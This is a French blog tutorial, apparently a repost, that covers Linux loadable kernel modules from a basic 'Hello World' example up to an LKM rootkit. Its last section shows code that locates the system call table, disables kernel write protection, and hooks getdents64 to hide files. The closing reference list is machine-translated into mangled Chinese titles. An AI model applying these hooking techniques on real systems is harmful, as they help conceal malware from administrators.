Hé les amis ! Aujourd'hui, je vais vous présenter les LKM (Loadable Kernel Modules), depuis un simple module "Hello World" jusqu'à la création d'un rootkit LKM. Si vous trouvez cela utile, n'hésitez pas à le partager et merci d'avance à tous ceux qui liront jusqu'à la fin. Vous trouverez tout le code et les références liées au bas de l'article, alors assurez-vous de consulter les sources. Croyez-moi, creuser dans ceux-ci et modifier le code vous aidera vraiment à en savoir plus. Attention cependant : une partie du code est sous licence GPL 3, alors assurez-vous de connaître les conditions.
Ce dont vous aurez besoin :
linux-headers-génériques
Un compilateur C (je recommande GCC ou cc)
Table des matières :
Les LKM sont des modules de noyau chargeables qui aident le noyau Linux à étendre ses fonctionnalités, comme l'ajout de pilotes pour le matériel sans avoir besoin de recompiler l'intégralité du noyau. Ils sont parfaits pour les pilotes de périphériques (comme les cartes son), les systèmes de fichiers, etc. Chaque LKM a au moins besoin de ces deux fonctions de base :
static int __init module_init(void) { return 0; } static void __exit module_exit(void) { }
Voici un Makefile super simple pour compiler votre module :
obj-m := example.o KDIR := /lib/modules/$(shell uname -r)/build PWD := $(shell pwd) all: $(MAKE) -C $(KDIR) M=$(PWD) modules clean: $(MAKE) -C $(KDIR) M=$(PWD) clean
Vous pouvez voir les modules chargés dans le noyau avec la commande lsmod. Il vérifie les informations dans /proc/modules. Les modules identifient généralement le noyau via des alias comme celui-ci :
alias char-major-10–30 softdog
Cela indique à modprobe que le module softdog.o doit être chargé, et il vérifie /lib/modules/version/modules.dep les dépendances créées en exécutant depmod -a.
Voici comment créer un module "Hello World" super basique :
#include <linux/module.h> #include <linux/kernel.h> #include <linux/init.h> static int __init hello_init(void) { printk(KERN_INFO "<1>Hello World\n"); return 0; } static void __exit hello_exit(void) { printk(KERN_INFO"<1> Bye bye!"); } module_init(hello_init); module_exit(hello_exit); MODULE_AUTHOR("BrunoCiccarino"); MODULE_LICENSE("GPL");
Il y a eu des changements assez importants dans les LKM au fil du temps, alors décomposons-les par version du noyau Linux :
Kernel 2.x (jusqu'à 2.6) :
Prise en charge initiale du chargement et du déchargement dynamiques de LKM.
De meilleurs outils de débogage (OOPS, PANIC).
Noyau 2.6.x :
Introduction d'udev pour une meilleure gestion des appareils.
Noyau préemptif pour des temps de réponse plus rapides.
Native Posix Thread Library (NPTL) améliore la gestion des processus multithread.
Noyau 3.x :
Prise en charge des espaces de noms, amélioration de la technologie des conteneurs comme Docker.
Améliorations du système de fichiers et du pilote GPU.
Noyau 4.x :
La sécurité du noyau est renforcée avec KASLR.
Meilleure prise en charge des conteneurs (groupes C, espaces de noms).
Nouveau support matériel.
Noyau 5.x :
Meilleur cryptage du système de fichiers et correctifs en direct.
Expansion du BPF au-delà des seuls réseaux.
Meilleure prise en charge de RISC-V et ARM.
Noyau 5.7 :
Changement majeur : la table syscall (sys_call_table) est devenue moins accessible pour des raisons de sécurité. Les modules qui devaient modifier la table d'appel système ont dû s'adapter.
Noyau 6.x :
Prise en charge du langage Rust pour un développement plus sûr des modules du noyau.
Améliorations de la sécurité et de l'isolation, en mettant l'accent sur l'efficacité énergétique des appareils mobiles.
Sous Linux 5.7, des modifications ont été apportées pour protéger la table des appels système. Il est désormais protégé en écriture et difficilement accessible, ce qui constitue un grand gain en matière de sécurité mais complique les choses pour les modules légitimes qui en dépendent. Si vous utilisiez kprobes.h pour trouver sys_call_table, vous auriez besoin d'une nouvelle stratégie. Désormais, vous ne pouvez pas le modifier directement en raison de protections comme Write-Protection (WP).
Il s'agit d'un module qui surveille les processus dans le noyau en exécutant périodiquement des vérifications (par exemple toutes les 2 secondes) à l'aide d'une minuterie. Il surveille des éléments tels que la création et l'arrêt des processus, l'accès aux fichiers et l'utilisation du réseau.
Voici un peu de code pour vous aider à démarrer :
#include <linux/module.h> #include <linux/sched.h> #include <linux/timer.h> #include <linux/cred.h> static struct timer_list procmonitor_timer; static void procmonitor_check_proc_tree(unsigned long unused) { struct task_struct *task; for_each_process(task) printk(KERN_INFO "process: %s, PID: %d\n", task->comm, task->pid); mod_timer(&procmonitor_timer, jiffies + msecs_to_jiffies(2000)); } static int __init procmonitor_init(void) { setup_timer(&procmonitor_timer, procmonitor_check_proc_tree, 0); mod_timer(&procmonitor_timer, jiffies + msecs_to_jiffies(200)); return 0; } static void __exit procmonitor_exit(void) { del_timer_sync(&procmonitor_timer); } module_init(procmonitor_init); module_exit(procmonitor_exit);
Les rootkits sont essentiellement des modules malveillants qui détournent les appels système pour masquer les logiciels malveillants. Voici comment ils se connectent à la table d’appel système et modifient leur comportement.
Tout d'abord, vous devez localiser la table d'appel système :
unsigned long *find_syscall_table(void) { typedef unsigned long (*kallsyms_lookup_name_t)(const char *name); kallsyms_lookup_name_t kallsyms_lookup_name; register_kprobe(&kp); kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr; unregister_kprobe(&kp); return (unsigned long*)kallsyms_lookup_name("sys_call_table"); }
Ensuite, vous pouvez déprotéger la mémoire où se trouve la table d'appel système :
static inline void unprotect_memory(void) { write_cr0_forced(cr0 & ~0x00010000); }
Après cela, remplacez la fonction d'origine par votre crochet :
static int __init ghost_init(void) { __syscall_table = find_syscall_table(); if (!__syscall_table) return -1; cr0 = read_cr0(); orig_getdents64 = (void *)__syscall_table[MY_NR_getdents]; unprotect_memory(); __syscall_table[MY_NR_getdents] = (unsigned long)hook_getdents64; protect_memory(); return 0; }
La fonction hook intercepte et masque les fichiers :
asmlinkage int hook_getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count) { int ret = orig_getdents64(fd, dirp, count); // Intercept the syscall here... return ret; }
駭客的選擇
elinux
內核br
xcellerator
lkmpg
愛貓人士
我的rootkit
二嗎啡
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!